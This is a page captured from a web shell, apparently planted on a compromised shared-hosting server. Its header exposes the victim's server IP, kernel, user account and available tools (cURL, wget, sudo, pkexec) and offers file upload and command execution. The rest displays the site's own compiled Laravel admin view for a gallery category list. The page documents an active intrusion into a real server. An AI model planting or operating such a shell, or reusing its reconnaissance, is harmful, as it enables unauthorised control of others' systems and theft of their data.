BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.216.26
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /home/kiskarnal/public_html/storage/framework/views/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/kiskarnal/public_html/storage/framework/views/465b7a2adc00f6016decaf746d8713a50b3d6266.php
<?php echo $__env->make('admin.includes.header', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>;
<body>
    
    <main id="main" class="main">

    <div class="pagetitle">
      <h1>Gallery Lists</h1>
      <nav>
        <ol class="breadcrumb">
          <li class="breadcrumb-item"><a href="<?php echo e(url('/')); ?>">Home</a></li>
          <li class="breadcrumb-item active">Gallery Lists</li>
        </ol>
      </nav>
    </div><!-- End Page Title -->

    <section class="section">
      <div class="row">
        <div class="col-lg-12">
        <button class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#basicModal">Add New</button>
          <div class="card">
            <div class="card-body">
              <h5 class="card-title"></h5>
              <!-- Table with stripped rows -->
                <div class="table-responsive">
                   <table class="table datatable table-striped">
                        <thead>
                          <tr>
                            <th scope="col">#</th>
                            <th scope="col">Name</th>
                            <th scope="col">Actions</th>
                          </tr>
                        </thead>
                        <tbody>
                            <?php $__currentLoopData = $gallery_category; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $cat): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                          <tr>
                            <td><?php echo e($cat->id); ?></td>
                            <td><?php echo e($cat->name); ?></td>
                            <td>
                                <div class="action-btns">
                                   <a href="#" class="btn btn-sm btn-danger delete" row-id="<?php echo e($cat->id); ?>">Delete</a>
                                </div>
                            </td>
                          </tr>
                          <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </tbody>
                      </table>
                </div>
              <!-- End Table with stripped rows -->

            </div>
          </div>

        </div>
      </div>
    </section>
   <div class="modal fade" id="basicModal" tabindex="-1">
        <form action="<?php echo e(url('admin/save-category')); ?>" method="post">
                         <?php echo csrf_field(); ?>
                <div class="modal-dialog">
                  <div class="modal-content">
                    <div class="modal-header">
                      <h5 class="modal-title">Catgory Modal</h5>
                      <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                    </div>
                    <div class="modal-body">
                    
                            <div class="col-12">
                              <label for="yourUsername" class="form-label">Name</label>
                              <div class="input-group has-validation">
                                <input type="text" name="name" class="form-control" id="yourUsername" required>
                              </div>
                            </div>
                     
                    </div>
                    <div class="modal-footer">
                      <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                      <button type="submit" class="btn btn-primary">Save</button>
                    </div>
                  </div>
                </div>
                </form>
              </div><!-- End Basic Modal-->
  </main><!-- End #main -->
    
</body>
  <?php echo $__env->make('admin.includes.footer', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>;
  <script>
        $(document).ready(function(){
      // Delete 
   $('body').on('click','.delete',function(e){
        var el = this;
        // Delete id
        var deleteid = $(this).attr('row-id');
        // Confirm box
        bootbox.confirm("Do you really want to delete record?", function(result) {
            
           if(result){
             // AJAX Request
             $.ajax({
               url: $('#admin_base_url').val()+'/delete-category/'+deleteid,
               type: 'GET',
               success: function(response){
    
                 // Removing row from HTML Table
                 if(response == 1){
                     
                		$(el).closest('tr').css('background','tomato');
                           $(el).closest('tr').fadeOut(800,function(){
                		   $(this).remove();
                		});
                		
            	     }else{
        		           bootbox.alert('Record not deleted.');
        	          }
    
               }
             });
           }
     
        });
 
  });
});
 </script>
<?php /**PATH /home/p7j209y9k9vg/public_html/karnal-international/resources/views/admin/gallery-category.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit